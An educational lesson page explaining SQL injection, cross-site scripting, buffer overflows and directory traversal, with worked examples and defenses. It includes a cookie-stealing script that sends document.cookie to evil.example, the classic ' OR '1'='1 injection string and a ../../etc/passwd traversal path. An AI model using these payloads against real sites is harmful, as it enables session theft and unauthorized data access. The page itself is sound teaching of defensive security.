Application Attacks
How injection, SQL injection, cross-site scripting, buffer overflows, and directory traversal exploit applications that trust what users send them.
1Applications and user input
Applications are programs that run instructions on computers; they are executable data. Some run locally on a user's computer; others, like web applications, run on a server and are used through a network. Most applications take user input through open-ended fields where people can type letters, numbers, and punctuation. Every attack on this page abuses an application that trusts that input too much.
2Injection and data validation
Developers should check that user input matches what is expected, such as only digits when asking for a number of items, and reject anything outside the expected limits. Verifying input before processing it is called data validation. Applications that skip it are vulnerable to injection attacks, where adversaries type unexpected character strings into input fields to change how the program behaves.
3SQL injection
SQL (structured query language) is the language applications use to request information from databases and to change it. An application that builds SQL commands from unvalidated or unsanitized user input is vulnerable. An SQL injection attack puts SQL commands and control characters (like the quote mark ') into an input field. That can breach confidentiality (the app returns more data than it should) or integrity (data is modified or deleted).
# Unsafe: the typed text is glued into the command query = "SELECT name, grade FROM students WHERE name = '" + typed + "'" # Safe: the database receives the typed text separately, only as data query = "SELECT name, grade FROM students WHERE name = ?" run(query, [typed])
4Cross-site scripting (XSS)
Websites are written in HTML, and many use JavaScript to make pages interactive. JavaScript runs in the browser of the person visiting the site, so it can reach sensitive data the browser holds, such as login sessions, usernames, passwords, and cryptographic keys. A cross-site scripting (XSS) attack injects malicious code into a website that a user's browser then runs.
<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>
If the site displays this comment without neutralizing it, every visitor's browser runs the script, which sends their session cookie to the attacker.
5Buffer overflows
When an application takes input, it writes it into a buffer: a section of memory with a fixed size. If the input is longer than the buffer, it can overflow into the memory next to it and overwrite other data. A buffer overflow attack deliberately feeds in too much data, which can crash the system or make it run code outside the program's security rules, letting the adversary access, change, or delete files.
buffer (8 characters): [ _ _ _ _ _ _ _ _ ][ other program data ... ] input (12 characters): AAAAAAAAAAAA result: [ A A A A A A A A ][ A A A A data ... ] 4 extra characters overwrote neighboring memory
6Directory traversal
The files that make up a web application are stored in folders (directories) on a server. A browser asks for a file with an HTTP GET request. In a directory traversal attack, the adversary changes the URL or GET request to reach files outside the website's folders, such as files listing usernames and passwords.
Normal request: /var/www/images/cat.png Attack request: /var/www/images/../../../etc/passwd Each ".." moves up one folder: images -> www -> var -> (root) Server resolves: /etc/passwd (the system's list of user accounts)
7Comparing the attacks
| Attack | What the attacker sends | What it can do | Main defense |
|---|---|---|---|
| SQL injection | SQL code and quote marks in an input field | Dump or change database data | Validate input; keep input separate from queries |
| Reflected XSS (Type I) | A link carrying a script | Run code in the victim's browser | Encode output; validate input |
| Stored XSS (Type II) | A comment or post carrying a script | Run code in every visitor's browser | Encode output; validate input |
| Buffer overflow | More data than a buffer holds | Crash the system or run attacker code | Check input length; safe memory handling |
| Directory traversal | ../ sequences in a URL | Read files outside the web folder | Validate paths; restrict file access |
Every one of these attacks works because an application treated user input as trustworthy. Validate input, keep it separate from commands, and limit what it can reach.
8Worked examples
The search box
A school portal builds its query by gluing typed text into SELECT name, grade FROM students WHERE name = '…'. Someone types x' OR '1'='1. What happens?
- 1The query becomes
SELECT name, grade FROM students WHERE name = 'x' OR '1'='1'. - 2The condition reads “name is x, OR 1 equals 1.” Since 1 always equals 1, it is true for every row.
- 3The database returns all 4 students' grades: a confidentiality breach.
Comment versus link
(a) An attacker posts a forum comment containing a script, and everyone who views the thread runs it. (b) An attacker emails a link to a search page with a script in the search term; only people who click run it. Which type is each?
- 1(a) The script is stored on the site and affects every visitor: stored (Type II) XSS.
- 2(b) The script travels in the link and is echoed back only to whoever clicks: reflected (Type I) XSS.
Out of the images folder
A server stores images in /var/www/images/. An attacker requests ../../../etc/passwd. Where does the request lead?
- 1Start at
/var/www/images/. - 2Each
..moves up one folder: to/var/www/, then/var/, then the root/. - 3From the root,
etc/passwdleads to/etc/passwd, the system's list of user accounts.
Too much input
A program stores a username in an 8-character buffer without checking length. Someone enters 12 characters. What can happen?
- 1The first 8 characters fill the buffer.
- 2The remaining 4 overflow into neighboring memory, overwriting other data.
- 3Depending on what is overwritten, the program may crash, or carefully crafted input may make it run the attacker's code.
9Common mistakes
It can also change or delete data, breaching integrity and availability, not just confidentiality.
Reflected XSS travels in a link and hits whoever clicks. Stored XSS lives on the site and hits every visitor.
The malicious code runs in visitors' browsers, where it can reach their sessions and saved data.
Without path checks, ../ climbs out to the rest of the file system.
“This is an SQL injection attack. The application inserts the user's input directly into its SQL query, so typing x' OR '1'='1 adds a condition that is always true and the database returns every row. Data validation and parameterized queries would prevent it.”
Name the attack, the input that exploits it, what it causes, and the defense.